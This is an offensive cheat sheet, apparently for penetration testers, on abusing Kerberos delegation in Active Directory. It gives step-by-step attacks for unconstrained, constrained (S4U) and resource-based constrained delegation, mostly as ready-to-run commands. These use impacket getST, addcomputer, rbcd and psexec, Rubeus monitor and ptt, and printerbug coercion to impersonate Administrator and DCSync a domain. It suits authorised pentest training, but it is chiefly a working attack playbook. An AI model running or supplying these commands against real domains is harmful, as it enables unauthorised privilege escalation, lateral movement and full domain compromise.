

Kerberos Delegation Abuse

Abuse Kerberos delegation to impersonate high-value accounts (up to Domain Admin) on other machines. Three flavours: Unconstrained, Constrained (S4U), and Resource-Based (RBCD). Replace <placeholders> with your own values.

Enumerate delegation first

impacket-findDelegation · nxc ldap --find-delegation · BloodHound

UNCONSTRAINED

caches ANY user's TGT

① Own unconstrained host

Rubeus monitor

② Coerce DC auth

printerbug / PetitPotam

③ Capture DC\$ TGT

Rubeus ptt

④ DCSync domain

full compromise

CONSTRAINED

delegate to specific SPNs

① Own delegating acct

AllowedToDelegateTo

② S4U2Self + S4U2Proxy

getST -impersonate
Administrator

③ ccache ticket

KRB5CCNAME=...

④ psexec -k as Admin

on target SPN host

RBCD

delegation set on TARGET

① Create FAKE01\$

addcomputer (MAQ=10)

② Write RBCD attr

need GenericWrite
impacket-rbcd -action write

③ getST -impersonate

as FAKE01\$

④ psexec -k as Admin

own the target

① Enumerate Delegation

Find every delegation-configured account in the domain before picking an attack path.

Tab 1 · Kali

```
impacket-findDelegation <domain>/<user>:<password> -dc-ip <dc-ip>
```

```
# or
```

```
nxc ldap <dc-ip> -u <user> -p <password> --find-delegation
```

In BloodHound, look for "Allowed To Delegate" edges and the "Unconstrained" / TRUSTED_FOR_DELEGATION flag.

UNCONSTRAINED DELEGATION

① Capture a DC's TGT

An unconstrained host caches the TGT of anyone who authenticates to it. Own such a host, monitor for tickets, then force a DC to connect.

Tab 2 · Unconstrained host

```
# On the compromised unconstrained host – watch for incoming TGTs  
Rubeus.exe monitor /interval:5 /nowrap
```

Tab 1 · Kali (coerce)

```
# Force the DC to authenticate to your host  
impacket-printerbug <domain>/<user>:<password>@<dc-ip> <unconstrained-host-ip>  
# alternatives: Coercer / PetitPotam
```

Then inject the captured DC\$ TGT and DCSync:

```
Rubeus.exe ptt /ticket:<base64-tgt>  
# DC$ TGT → DCSync the whole domain (see bloodhound cheatsheet)
```

A captured DC machine-account TGT is effectively full domain compromise.

CONSTRAINED DELEGATION

② Impersonate via S4U

If you control an account allowed to delegate to specific SPNs (msDS-AllowedToDelegateTo), abuse S4U2Self + S4U2Proxy to get a ticket as any user — e.g. Administrator.

Tab 1 · Kali

```
impacket-getST -spn cifs/<target-fqdn> -impersonate Administrator \
<domain>/<svc-account>:<password> -dc-ip <dc-ip>

# with a hash instead of password:
impacket-getST -spn cifs/<target-fqdn> -impersonate Administrator \
-hashes :<nt-hash> <domain>/<svc-account> -dc-ip <dc-ip>
```

Use the ccache:

```
export KRB5CCNAME=Administrator.ccache
nxc smb <target-fqdn> --use-ccache
impacket-psexec -k -no-pass <domain>/Administrator@<target-fqdn>
```

SPN-swapping trick: you can often substitute the service class (cifs/ → host/ → ldap/) to broaden what the impersonation ticket reaches.

RESOURCE-BASED CONSTRAINED DELEGATION (RBCD)

③ Write Delegation onto the Target

RBCD is configured on the target's msDS-AllowedToActOnBehalfOfOtherIdentity. If you have GenericWrite / GenericAll / WriteDACL over a computer object, you own it.

Tab 1 · Kali

```
# 1) You need an account with a controlled SPN. Create one (default MAQ=10):
impacket-addcomputer <domain>/<user>:<password> -dc-ip <dc-ip> \
-computer-name 'FAKE01$' -computer-pass <newpass>

# 2) Set RBCD so FAKE01$ can act on behalf of users to the target:
impacket-rbcd <domain>/<user>:<password> -dc-ip <dc-ip> \
-delegate-from 'FAKE01$' -delegate-to '<target-computer>$' -action write
```

Request the impersonation ticket and use it:

```
impacket-getST -spn cifs/<target-fqdn> -impersonate Administrator \
'<domain>/FAKE01$:<newpass>' -dc-ip <dc-ip>

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <domain>/Administrator@<target-fqdn>
```

Kerberos is clock-sensitive — if tickets fail, sync time: sudo ntpdate <dc-ip>

Key idea: Kerberos delegation lets a service reuse a user's identity. Each flavour hands you impersonation if you control the right object — own an unconstrained host and coerce a DC, control a constrained account and abuse S4U,

or just write one attribute on a target for RBCD. The payoff is almost always a ticket as Administrator on the target, often the entire domain.